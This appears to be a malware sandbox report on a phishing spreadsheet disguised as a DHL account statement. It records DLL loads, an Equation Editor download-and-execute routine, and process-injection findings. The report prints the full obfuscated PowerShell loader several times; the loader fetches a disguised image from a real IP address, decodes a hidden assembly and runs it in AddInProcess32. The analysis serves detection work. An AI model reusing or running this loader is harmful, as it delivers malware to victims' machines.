Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: bcrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wbemcomn2.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ntdsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: credssp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: vaultcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64win.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64cpu.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: bcrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wbemcomn2.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ntdsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: credssp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: vaultcli.dll
Source: C:\Windows\SysWOW64\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: RunPE.pdb source: powershell.exe, 00000006.00000002.520915129.00000000062B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.517243140.0000000002B6F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.515833395.00000000001F0000.00000004.08000000.00040000.00000000.sdmp
Source: DHL ESTADO DE CUENTA - 7664557687757.xlam.xlsx Initial sample: OLE indicators vbamacros = False

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: 6.2.powershell.exe.2b86934.1.raw.unpack, RunPEE.cs .Net Code: Run4 System.Reflection.Assembly.Load(byte[])
Source: 6.2.powershell.exe.1f0000.0.raw.unpack, RunPEE.cs .Net Code: Run4 System.Reflection.Assembly.Load(byte[])
Source: 6.2.powershell.exe.62d7bb0.3.raw.unpack, RunPEE.cs .Net Code: Run4 System.Reflection.Assembly.Load(byte[])
Obfuscated command line found
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "INVOkE-EXpRessIon ( ('oiL'+'li'+'n'+'k = Olshttp'+'://91.92.254.194/imge/new-image'+'_v.jpgOls; oiLwebClient = New-Object'+' System.Net.WebClient; try { oiLdownloadedData = oi'+'LwebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To download data from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData -ne oiLnull) { oiLimageText = [Sy'+'stem.T'+'ex'+'t.Encoding]::UTF8.GetString'+'(oiLdownloadedData); oiLstartFlag = Ols<<BASE64_START>>Ols; oiLendFlag = Ols<<BASE64_END>>Ols; oiLstartIndex = oiLimageText.IndexOf(oiLstartFlag); oiLendIndex = oiLimageText.IndexOf(oiLendFlag); if (oiLstartIndex -ge 0 -and oiLendIn'+'dex -gt oiLstartIndex) { oiLstartInd'+'ex += oiLstartFlag.Length; oiLbase64Length = oiLendIn'+'dex - oiLstartInd'+'ex; oiLbase64Command = oiLimageText.Substri'+'ng(oiLstartIndex, oiLbase64Lengt'+'h); oiLcommandBytes = [System.Convert]::FromBase64String(oiLbase64Command); oiL'+'loadedAssembly = [System.Reflection.Assembly]::Load(oiLcomm'+'andBytes); oiLtype = oiLloadedAssembly.GetType(OlsRunPE.HomeOls); oiLmethod = oiLtype.GetMethod(OlsVAIOls).Invoke(oiLnull,'+' [object[]] (Olstxt.4446sabbbbbbbewmadam/441.871.64.8'+'91//:ptthOls , Olsdesativad'+'oOls , OlsdesativadoOls , OlsdesativadoOls,OlsAddInProcess32Ols,OlsOls)) } }Set Scriptblock oiLlink = Olshttp://91.92.254.194/imge/new-image_v.jpgOls; oiLwebClient ='+' New-Object System.Net.WebClient; try { oi'+'LdownloadedData = oiLwebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To down'+'load data from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData -ne oi'+'Lnull) { oiLimageText = [System.T'+'ext.Encoding]::UTF8.GetString('+'oiLdownloadedData); oiLstartFlag = Ols<<BASE64_START>>Ols; oiLendFlag = Ols<<BASE64_END>>Ols; oiLstartIndex = oiLimageText.IndexOf(oiLstartFlag); oiLen'+'dIndex = oiLimageText.IndexOf(oiLendFlag); if (oiLstartIndex -ge 0 -and oiLendInde'+'x -gt oiLstartIndex) { oiLstartIndex += '+'oiLstartFlag.Length; oiLbase64Length = oiLendIndex - oiLstartIndex; oiLbase64Command ='+' oiLimageText.Substring(oiLstartIndex'+', oiLbase64Length); oi'+'LcommandBytes = [System.Convert]::FromBase64String(oiLbase64Command); oiLloadedAssembly = [System.Reflection.'+'Assembly]::Load(oiLcommandBytes); oiLtype = '+'oiLloadedAssembly.GetType(Ols'+'RunPE.HomeOl'+'s); oiLmethod = oiLtype.GetMethod(Ols'+'VAIOl'+'s).Invoke(oiLnull, [object[]] (Olstxt.4'+'446sab'+'bbbbbbewmadam/441.871.64.891//:ptthOls , Olsdesativ'+'adoOls , OlsdesativadoOls , Olsdesati'+'vadoOls,OlsAddInProcess32Ols,OlsOls)) } }Set Scr'+'iptblock oiLlink '+'= Olshttp://91.92.2'+'54.194/imge/new-image_v.jpgOls; oiLwebClient = New-'+'Object System.Net.WebClient; try { oiLdownloadedData '+'= oiLw'+'ebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To download data '+'from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData'+' -ne oiLnu'+'ll)
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "INVOkE-EXpRessIon ( ('oiL'+'li'+'n'+'k = Olshttp'+'://91.92.254.194/imge/new-image'+'_v.jpgOls; oiLwebClient = New-Object'+' System.Net.WebClient; try { oiLdownloadedData = oi'+'LwebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To download data from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData -ne oiLnull) { oiLimageText = [Sy'+'stem.T'+'ex'+'t.Encoding]::UTF8.GetString'+'(oiLdownloadedData); oiLstartFlag = Ols<<BASE64_START>>Ols; oiLendFlag = Ols<<BASE64_END>>Ols; oiLstartIndex = oiLimageText.IndexOf(oiLstartFlag); oiLendIndex = oiLimageText.IndexOf(oiLendFlag); if (oiLstartIndex -ge 0 -and oiLendIn'+'dex -gt oiLstartIndex) { oiLstartInd'+'ex += oiLstartFlag.Length; oiLbase64Length = oiLendIn'+'dex - oiLstartInd'+'ex; oiLbase64Command = oiLimageText.Substri'+'ng(oiLstartIndex, oiLbase64Lengt'+'h); oiLcommandBytes = [System.Convert]::FromBase64String(oiLbase64Command); oiL'+'loadedAssembly = [System.Reflection.Assembly]::Load(oiLcomm'+'andBytes); oiLtype = oiLloadedAssembly.GetType(OlsRunPE.HomeOls); oiLmethod = oiLtype.GetMethod(OlsVAIOls).Invoke(oiLnull,'+' [object[]] (Olstxt.4446sabbbbbbbewmadam/441.871.64.8'+'91//:ptthOls , Olsdesativad'+'oOls , OlsdesativadoOls , OlsdesativadoOls,OlsAddInProcess32Ols,OlsOls)) } }Set Scriptblock oiLlink = Olshttp://91.92.254.194/imge/new-image_v.jpgOls; oiLwebClient ='+' New-Object System.Net.WebClient; try { oi'+'LdownloadedData = oiLwebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To down'+'load data from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData -ne oi'+'Lnull) { oiLimageText = [System.T'+'ext.Encoding]::UTF8.GetString('+'oiLdownloadedData); oiLstartFlag = Ols<<BASE64_START>>Ols; oiLendFlag = Ols<<BASE64_END>>Ols; oiLstartIndex = oiLimageText.IndexOf(oiLstartFlag); oiLen'+'dIndex = oiLimageText.IndexOf(oiLendFlag); if (oiLstartIndex -ge 0 -and oiLendInde'+'x -gt oiLstartIndex) { oiLstartIndex += '+'oiLstartFlag.Length; oiLbase64Length = oiLendIndex - oiLstartIndex; oiLbase64Command ='+' oiLimageText.Substring(oiLstartIndex'+', oiLbase64Length); oi'+'LcommandBytes = [System.Convert]::FromBase64String(oiLbase64Command); oiLloadedAssembly = [System.Reflection.'+'Assembly]::Load(oiLcommandBytes); oiLtype = '+'oiLloadedAssembly.GetType(Ols'+'RunPE.HomeOl'+'s); oiLmethod = oiLtype.GetMethod(Ols'+'VAIOl'+'s).Invoke(oiLnull, [object[]] (Olstxt.4'+'446sab'+'bbbbbbewmadam/441.871.64.891//:ptthOls , Olsdesativ'+'adoOls , OlsdesativadoOls , Olsdesati'+'vadoOls,OlsAddInProcess32Ols,OlsOls)) } }Set Scr'+'iptblock oiLlink '+'= Olshttp://91.92.2'+'54.194/imge/new-image_v.jpgOls; oiLwebClient = New-'+'Object System.Net.WebClient; try { oiLdownloadedData '+'= oiLw'+'ebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To download data '+'from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData'+' -ne oiLnu'+'ll) Jump to behavior
Suspicious powershell command line found
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "INVOkE-EXpRessIon ( ('oiL'+'li'+'n'+'k = Olshttp'+'://91.92.254.194/imge/new-image'+'_v.jpgOls; oiLwebClient = New-Object'+' System.Net.WebClient; try { oiLdownloadedData = oi'+'LwebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To download data from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData -ne oiLnull) { oiLimageText = [Sy'+'stem.T'+'ex'+'t.Encoding]::UTF8.GetString'+'(oiLdownloadedData); oiLstartFlag = Ols<<BASE64_START>>Ols; oiLendFlag = Ols<<BASE64_END>>Ols; oiLstartIndex = oiLimageText.IndexOf(oiLstartFlag); oiLendIndex = oiLimageText.IndexOf(oiLendFlag); if (oiLstartIndex -ge 0 -and oiLendIn'+'dex -gt oiLstartIndex) { oiLstartInd'+'ex += oiLstartFlag.Length; oiLbase64Length = oiLendIn'+'dex - oiLstartInd'+'ex; oiLbase64Command = oiLimageText.Substri'+'ng(oiLstartIndex, oiLbase64Lengt'+'h); oiLcommandBytes = [System.Convert]::FromBase64String(oiLbase64Command); oiL'+'loadedAssembly = [System.Reflection.Assembly]::Load(oiLcomm'+'andBytes); oiLtype = oiLloadedAssembly.GetType(OlsRunPE.HomeOls); oiLmethod = oiLtype.GetMethod(OlsVAIOls).Invoke(oiLnull,'+' [object[]] (Olstxt.4446sabbbbbbbewmadam/441.871.64.8'+'91//:ptthOls , Olsdesativad'+'oOls , OlsdesativadoOls , OlsdesativadoOls,OlsAddInProcess32Ols,OlsOls)) } }Set Scriptblock oiLlink = Olshttp://91.92.254.194/imge/new-image_v.jpgOls; oiLwebClient ='+' New-Object System.Net.WebClient; try { oi'+'LdownloadedData = oiLwebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To down'+'load data from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData -ne oi'+'Lnull) { oiLimageText = [System.T'+'ext.Encoding]::UTF8.GetString('+'oiLdownloadedData); oiLstartFlag = Ols<<BASE64_START>>Ols; oiLendFlag = Ols<<BASE64_END>>Ols; oiLstartIndex = oiLimageText.IndexOf(oiLstartFlag); oiLen'+'dIndex = oiLimageText.IndexOf(oiLendFlag); if (oiLstartIndex -ge 0 -and oiLendInde'+'x -gt oiLstartIndex) { oiLstartIndex += '+'oiLstartFlag.Length; oiLbase64Length = oiLendIndex - oiLstartIndex; oiLbase64Command ='+' oiLimageText.Substring(oiLstartIndex'+', oiLbase64Length); oi'+'LcommandBytes = [System.Convert]::FromBase64String(oiLbase64Command); oiLloadedAssembly = [System.Reflection.'+'Assembly]::Load(oiLcommandBytes); oiLtype = '+'oiLloadedAssembly.GetType(Ols'+'RunPE.HomeOl'+'s); oiLmethod = oiLtype.GetMethod(Ols'+'VAIOl'+'s).Invoke(oiLnull, [object[]] (Olstxt.4'+'446sab'+'bbbbbbewmadam/441.871.64.891//:ptthOls , Olsdesativ'+'adoOls , OlsdesativadoOls , Olsdesati'+'vadoOls,OlsAddInProcess32Ols,OlsOls)) } }Set Scr'+'iptblock oiLlink '+'= Olshttp://91.92.2'+'54.194/imge/new-image_v.jpgOls; oiLwebClient = New-'+'Object System.Net.WebClient; try { oiLdownloadedData '+'= oiLw'+'ebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To download data '+'from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData'+' -ne oiLnu'+'ll)
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "INVOkE-EXpRessIon ( ('oiL'+'li'+'n'+'k = Olshttp'+'://91.92.254.194/imge/new-image'+'_v.jpgOls; oiLwebClient = New-Object'+' System.Net.WebClient; try { oiLdownloadedData = oi'+'LwebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To download data from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData -ne oiLnull) { oiLimageText = [Sy'+'stem.T'+'ex'+'t.Encoding]::UTF8.GetString'+'(oiLdownloadedData); oiLstartFlag = Ols<<BASE64_START>>Ols; oiLendFlag = Ols<<BASE64_END>>Ols; oiLstartIndex = oiLimageText.IndexOf(oiLstartFlag); oiLendIndex = oiLimageText.IndexOf(oiLendFlag); if (oiLstartIndex -ge 0 -and oiLendIn'+'dex -gt oiLstartIndex) { oiLstartInd'+'ex += oiLstartFlag.Length; oiLbase64Length = oiLendIn'+'dex - oiLstartInd'+'ex; oiLbase64Command = oiLimageText.Substri'+'ng(oiLstartIndex, oiLbase64Lengt'+'h); oiLcommandBytes = [System.Convert]::FromBase64String(oiLbase64Command); oiL'+'loadedAssembly = [System.Reflection.Assembly]::Load(oiLcomm'+'andBytes); oiLtype = oiLloadedAssembly.GetType(OlsRunPE.HomeOls); oiLmethod = oiLtype.GetMethod(OlsVAIOls).Invoke(oiLnull,'+' [object[]] (Olstxt.4446sabbbbbbbewmadam/441.871.64.8'+'91//:ptthOls , Olsdesativad'+'oOls , OlsdesativadoOls , OlsdesativadoOls,OlsAddInProcess32Ols,OlsOls)) } }Set Scriptblock oiLlink = Olshttp://91.92.254.194/imge/new-image_v.jpgOls; oiLwebClient ='+' New-Object System.Net.WebClient; try { oi'+'LdownloadedData = oiLwebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To down'+'load data from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData -ne oi'+'Lnull) { oiLimageText = [System.T'+'ext.Encoding]::UTF8.GetString('+'oiLdownloadedData); oiLstartFlag = Ols<<BASE64_START>>Ols; oiLendFlag = Ols<<BASE64_END>>Ols; oiLstartIndex = oiLimageText.IndexOf(oiLstartFlag); oiLen'+'dIndex = oiLimageText.IndexOf(oiLendFlag); if (oiLstartIndex -ge 0 -and oiLendInde'+'x -gt oiLstartIndex) { oiLstartIndex += '+'oiLstartFlag.Length; oiLbase64Length = oiLendIndex - oiLstartIndex; oiLbase64Command ='+' oiLimageText.Substring(oiLstartIndex'+', oiLbase64Length); oi'+'LcommandBytes = [System.Convert]::FromBase64String(oiLbase64Command); oiLloadedAssembly = [System.Reflection.'+'Assembly]::Load(oiLcommandBytes); oiLtype = '+'oiLloadedAssembly.GetType(Ols'+'RunPE.HomeOl'+'s); oiLmethod = oiLtype.GetMethod(Ols'+'VAIOl'+'s).Invoke(oiLnull, [object[]] (Olstxt.4'+'446sab'+'bbbbbbewmadam/441.871.64.891//:ptthOls , Olsdesativ'+'adoOls , OlsdesativadoOls , Olsdesati'+'vadoOls,OlsAddInProcess32Ols,OlsOls)) } }Set Scr'+'iptblock oiLlink '+'= Olshttp://91.92.2'+'54.194/imge/new-image_v.jpgOls; oiLwebClient = New-'+'Object System.Net.WebClient; try { oiLdownloadedData '+'= oiLw'+'ebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To download data '+'from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData'+' -ne oiLnu'+'ll) Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_003847D2 push 8B038023h; iretd 6_2_003847D7
Source: 6.2.powershell.exe.2b86934.1.raw.unpack, Home.cs High entropy of concatenated method names: 'VAI', 'ReverseString', 'wj8oxcKQMhWyu3MiMB', 'eL61cEhr3TEsU6jQVJ', 'Xd0LwFzhEBVfQPGGSn', 'rQcd3TTSI6lCVHMl6JH', 'rbJryoTTdjpvdQgZCqq', 'WaP97STAZD9pAa0scHE', 'XMNkWLT7BBsCZiElwGi', 'yaMjewTLB6ko7gsuukK'
Source: 6.2.powershell.exe.2b86934.1.raw.unpack, RunPEE.cs High entropy of concatenated method names: 'Ande', 'Run3', 'Run4', 'TryRun', 'LoadLibraryA', 'GetProcAddress', 'LoadApi', 'HandleRun', 'rBogTi80hXY4MBxwGs', 'oORNlfqPK7qWaCHWnV'
Source: 6.2.powershell.exe.2b86934.1.raw.unpack, Class2.cs High entropy of concatenated method names: 'Start', 'sKo86fe9HGSnuwD9Ru', 'jdCsFhaPKJKkHAuFtI', 'ljlkD5QJDjiBlqQVUp', 'KoLdFvvo7Bp3WbpvJo', 'BKD5yIXBRqe4pqYdO2', 'O8M2MxIrcxBqL8Y6kA', 'FIoy5YnpW2lcjrJgZm', 'U7bGgk34FJ6pe9MuuE', 'qgy00q9HW7w1Ngk0MQ'
Source: 6.2.powershell.exe.1f0000.0.raw.unpack, Home.cs High entropy of concatenated method names: 'VAI', 'ReverseString', 'wj8oxcKQMhWyu3MiMB', 'eL61cEhr3TEsU6jQVJ', 'Xd0LwFzhEBVfQPGGSn', 'rQcd3TTSI6lCVHMl6JH', 'rbJryoTTdjpvdQgZCqq', 'WaP97STAZD9pAa0scHE', 'XMNkWLT7BBsCZiElwGi', 'yaMjewTLB6ko7gsuukK'
Source: 6.2.powershell.exe.1f0000.0.raw.unpack, RunPEE.cs High entropy of concatenated method names: 'Ande', 'Run3', 'Run4', 'TryRun', 'LoadLibraryA', 'GetProcAddress', 'LoadApi', 'HandleRun', 'rBogTi80hXY4MBxwGs', 'oORNlfqPK7qWaCHWnV'
Source: 6.2.powershell.exe.1f0000.0.raw.unpack, Class2.cs High entropy of concatenated method names: 'Start', 'sKo86fe9HGSnuwD9Ru', 'jdCsFhaPKJKkHAuFtI', 'ljlkD5QJDjiBlqQVUp', 'KoLdFvvo7Bp3WbpvJo', 'BKD5yIXBRqe4pqYdO2', 'O8M2MxIrcxBqL8Y6kA', 'FIoy5YnpW2lcjrJgZm', 'U7bGgk34FJ6pe9MuuE', 'qgy00q9HW7w1Ngk0MQ'
Source: 6.2.powershell.exe.62d7bb0.3.raw.unpack, Home.cs High entropy of concatenated method names: 'VAI', 'ReverseString', 'wj8oxcKQMhWyu3MiMB', 'eL61cEhr3TEsU6jQVJ', 'Xd0LwFzhEBVfQPGGSn', 'rQcd3TTSI6lCVHMl6JH', 'rbJryoTTdjpvdQgZCqq', 'WaP97STAZD9pAa0scHE', 'XMNkWLT7BBsCZiElwGi', 'yaMjewTLB6ko7gsuukK'
Source: 6.2.powershell.exe.62d7bb0.3.raw.unpack, RunPEE.cs High entropy of concatenated method names: 'Ande', 'Run3', 'Run4', 'TryRun', 'LoadLibraryA', 'GetProcAddress', 'LoadApi', 'HandleRun', 'rBogTi80hXY4MBxwGs', 'oORNlfqPK7qWaCHWnV'
Source: 6.2.powershell.exe.62d7bb0.3.raw.unpack, Class2.cs High entropy of concatenated method names: 'Start', 'sKo86fe9HGSnuwD9Ru', 'jdCsFhaPKJKkHAuFtI', 'ljlkD5QJDjiBlqQVUp', 'KoLdFvvo7Bp3WbpvJo', 'BKD5yIXBRqe4pqYdO2', 'O8M2MxIrcxBqL8Y6kA', 'FIoy5YnpW2lcjrJgZm', 'U7bGgk34FJ6pe9MuuE', 'qgy00q9HW7w1Ngk0MQ'
Contains functionality to download and launch executables
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_034A0539 URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_034A0539
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
